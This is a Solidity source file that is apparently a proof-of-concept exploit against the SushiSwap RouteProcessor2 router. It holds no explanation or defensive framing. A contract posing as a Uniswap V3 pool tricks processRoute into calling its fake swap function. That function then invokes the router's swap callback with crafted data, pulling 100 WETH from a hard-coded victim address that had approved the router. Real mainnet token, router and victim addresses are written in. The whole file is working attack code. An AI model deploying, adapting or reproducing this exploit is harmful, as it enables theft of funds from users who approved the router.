// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.4.22 <0.9.0; interface IERC20 { function balanceOf(address account) external view returns (uint256); } interface IUniswapV3Pool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); } interface IRouteProcessor2 { function processRoute( address tokenIn, uint256 amountIn, address tokenOut, uint256 amountOutMin, address to, bytes memory route ) external payable returns (uint256 amountOut); function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; function tridentCLSwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } contract SushiExp is IUniswapV3Pool { IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); address victim = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1; IRouteProcessor2 processor = IRouteProcessor2(0x044b75f554b886A065b9567891e45c79542d7357); function exploit() public { uint8 commandCode = 1; uint8 num = 1; uint16 share = 0; uint8 poolType = 1; address pool = address(this); uint8 zeroForOne = 0; address recipient = address(0); bytes memory route = abi.encodePacked( commandCode, address(LINK), num, share, poolType, pool, zeroForOne, recipient ); processor.processRoute( 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, //native token 0, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0, 0x0000000000000000000000000000000000000000, route ); } function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1) { amount0 = 0; amount1 = 0; bytes memory malicious_data = abi.encode(address(WETH), victim); processor.uniswapV3SwapCallback( 100 * 10 ** 18, 0, malicious_data ); } } contract SushiExpProxy { SushiExp f; function exploit() public{ f = new SushiExp(); f.exploit(); } }